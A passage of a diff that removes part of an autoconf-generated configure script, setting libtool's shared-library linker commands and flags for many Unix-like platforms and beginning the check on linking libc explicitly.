-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
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- ld_shlibs=no
- fi
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-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
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-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
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- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs" = no; then
- runpath_var=
- hardcode_libdir_flag_spec=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag=unsupported
- always_export_symbols=yes
- archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds=''
- hardcode_direct=yes
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct=yes
- else
- # We have old collect2
- hardcode_direct=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L=yes
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_libdir_separator=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag="-z nodefs"
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag=' ${wl}-bernotok'
- allow_undefined_flag=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec='$convenience'
- archive_cmds_need_lc=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec=' '
- allow_undefined_flag=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc=no
- hardcode_direct=no
- hardcode_automatic=yes
- hardcode_shlibpath_var=unsupported
- whole_archive_flag_spec=''
- link_all_deplibs=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- freebsd1*)
- ld_shlibs=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- export_dynamic_flag_spec='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld='+b $libdir'
- hardcode_direct=no
- hardcode_shlibpath_var=no
- ;;
- *)
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- link_all_deplibs=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- newsos6)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_shlibpath_var=no
- ;;
-
- openbsd*)
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- *)
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- allow_undefined_flag=unsupported
- archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec='-rpath $libdir'
- fi
- hardcode_libdir_separator=:
- ;;
-
- solaris*)
- no_undefined_flag=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_shlibpath_var=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds='$CC -r -o $output$reload_objs'
- hardcode_direct=no
- ;;
- motorola)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var=no
- ;;
-
- sysv4.3*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- export_dynamic_flag_spec='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag='${wl}-z,text'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag='${wl}-z,text'
- allow_undefined_flag='${wl}-z,nodefs'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
- export_dynamic_flag_spec='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- *)
- ld_shlibs=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5
-$as_echo "$ld_shlibs" >&6; }
-test "$ld_shlibs" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
